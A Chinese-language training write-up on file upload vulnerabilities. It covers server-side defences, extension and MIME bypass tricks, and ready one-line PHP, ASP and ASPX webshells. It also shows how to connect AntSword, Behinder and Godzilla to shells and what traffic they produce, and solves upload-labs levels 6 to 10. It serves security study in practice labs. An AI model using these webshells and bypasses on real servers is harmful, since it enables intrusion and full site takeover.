1.文件上传防御手段及绕过手段总结
1.防御手段
文件上传漏洞有多种防御手段,建议组合使用。
1.js前端校验文件类型
在前端代码中识别文件的类型,从而限制文件上传的类型。
1.通过input标签accept属性限制上传文件的类型。
1.通过js获取上传文件的file.type 属性限制。
2.校验上传文件类型
在后端代码中识别文件的类型,从而限制文件上传的类型。
3.校验上传文件内容
对上传的文件内容进行解析,检测是否含有恶意代码。
4.校验上传文件大小
限制文件上传的大小。
5.校验上传文件路径
将上传的文件放在不可执行的文件路径下。
6.校验请求头content-type字段
检查HTTP请求头中的Content-Type字段,看是否与上传的文件类型一致。
7.文件上传后存储到存储桶中
将上传的文件放在云存储桶中,限制存储桶的权限。
8.文件上传后以时间戳方式重写文件名
上传文件后防止文件重名和猜测文件名进行攻击,获取当前时间并作为时间戳重写文件名。
以java为例:
if (file != null) {
//获取上传文件名
fileName = file1.getOriginalFilename();
//获取后缀名
String sname = fileName.substring(fileName.lastIndexOf("."));
//时间格式化格式
SimpleDateFormat simpleDateFormat =new SimpleDateFormat("yyyyMMddHHmmssSSS");
//获取当前时间并作为时间戳
String timeStamp=simpleDateFormat.format(new Date());
//拼接新的文件名
String newName ="收货单"+timeStamp+sname;
9.设置可执行目录白名单
设置只有白名单中的目录具有执行权限,阻止含有恶意脚本的文件放入白名单的目录。
2.绕过手段
1.大/双写文件名绕过
例如:将shell.php修改为shell.PHP
或shell.pphphp
2.恶意文件内容以多段拼凑/拆解的形式组合
例如:将恶意代码隐藏在图片文件的末尾或中间部分。
3.目录穿越到可执行目录
4.修改MIME类型
例如:将Content-Type
字段修改为image/png
,但实际上传的是PHP脚本。
5.大小写绕过
例如:将shell.php修改
为shell.Php上传到只检查小写扩展名的系统。
6.图片木马
例如:在JPEG图片中嵌入PHP代码,并修改图片文件头以绕过校验。在cmd中输入 copy shell.jpg /b+txt.php/a jshell.jpg
-b是指以二进制的方式合并复制文件,用于图像影音类文件
-a是指以ascii方式合并复制文件,用于文本类文件
7.文件包含绕过
例如:通过上传包含恶意代码的文件,并利用文件包含漏洞将其包含到PHP脚本中执行。
8.文件竞争绕过
例如:由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,可能文件还未被清除就会执行恶意代码。
2.文件上传常用一句话木马
基本原理:
利用文件上传漏洞,往目标网站中上传一句话木马,然后就可以在本地通过工具即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()
函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']
表示从页面中获得attack这个参数值。
常见一句话木马
php: <?php @eval($_POST['pass']);?>
、<?php system($_GET['cmd']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
控制木马条件
其中,只要攻击者满足三个条件,就能实现成功入侵:
1.木马上传成功,未被杀;
2.知道木马的路径在哪;
3.上传的木马能正常运行。
3.课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
1.中国蚁剑(antsword)
以pikachu第一关为例
1.用php构造一句话木马。
2.将文件后缀改为.png,在pikachu中选中
3.打开bp进行抓包
4.修改文件后缀名,并放行
5.可以得到文件的保存目录
6.打开中国蚁剑,添加代理和添加数据,不要关闭bp
7.测试连接,bp抓包流量
8.send to decode 进行smart decode解码,便于观察
9.流量特征
每个请求体都存在以@ini_set(“display_errors”,“0”);@set_time_limit(0)开头的字符串,并且使用base64加密。
2.冰蝎(behinder)
1.冰蝎生成木马
2.和上面一样,将生成的木马上传到pikachu
3.在冰蝎进行添加后保存
4.设置代理
5.点击打开我们刚刚新增的网站,冰蝎连接后随便进几个目录文件,查看流量特征,bp抓包
6.流量特征
1.提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,自定义传输协议的算法就是连接密码。
2.Accept字段,通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
3.Content-Type字段,通常是Content-type: Application/x-www-form-urlencoded
4.进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
5.有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
3.哥斯拉(godzilla)
1.生成木马(“管理”->“生成)
2.和之前一样,还是上传到pikechu
3.配置代理
在哥斯拉里面,“目标”->“添加”,填写里面的内容。要和这个木马生成时候选的的选项保持一致,设置代理,测试连接,用bp拦截
4.流量特征
1.User-Agent字段,如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部.
2.Accept字段,默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。这个也可修改。
3.Cookie中最后会有个分号。
4.文件上传无回显如何查找webshell地址
1.检查服务器日志
查看HTTP请求日志,特别是包含上传文件操作的部分,寻找可疑的文件名或路径,有可能webshell隐藏在上传的文件中。
2.使用工具扫描
利用Web安全扫描工具(dirmap)对网站进行渗透测试,它们可以自动检测并报告潜在的webshell文件。
3.源代码审查
深入检查服务器端的文件处理代码,看看是否存在未恰当验证用户上传文件的安全漏洞,比如没有过滤特殊字符或脚本内容。
5.文件上传表单的无参/有参情况下构造表单 -- 加分项
无参情况
无参数意味着表单中只包含文件输入字段,没有其他额外的输入字段。
比如:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" accept=".jpg,.png,.gif" />
<input type="submit" value="上传文件”/>
</form>
有参情况
有参就是在无参数的表单中多加了一些字段名,这些字段可以是文本输入、选择框等。
比如:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="txt" name="password" />
<input type="file" name="file" accept=".jpg,.png,.gif" />
<input type="submit" value="上传文件”/>
</form>
6.upload-labs靶场通关第6-第10关
用冰蝎生成一个木马
第6关
直接上传shell.php显示不允许,打开bp抓包试试,尝试一下大小写绕过,修改shell.php为shell.Php
放行看看结果如何。
成功上传上去了,用冰蝎连接却发现连接失败。
我在网页尝试,结果如下。
上网搜索发现问题所在可能是apache的配置需要更改,我更换phpstudy的apache为nginx后成功连接。
第7关
直接上传shell.php还是无法上传成功
再次尝试大小写绕过,发现还是无法上传。
查看源码,发现大小写已经被过滤了,但是还可以使用空格绕过。
放行通过,发现上传成功。
冰蝎连接。
第8关
直接上传肯定无法成功,尝试第六关和第七关的方法,发现也无法上传。查看源码,发现没有使用过滤文件名末尾的点
,可以使用文件名后加.进行绕过。
放行通过,发现上传成功。
冰蝎连接。
第9关
依次采用上面几关的绕过方法,发现都无法上传成功。打开源码看看,查找资料了解到:可以使用::DATA绕过黑名单。
将shell.php修改为shell.php::$DATA.
发现成功绕过,上传成功了。
冰蝎连接,但是连接的时候要删除::$DATA。
连接成功。
第10关
前面的方法依次尝试,都无法绕过,查看源码。
试试从未试过的双写文件名绕过。
发现居然上传成功了。
冰蝎连接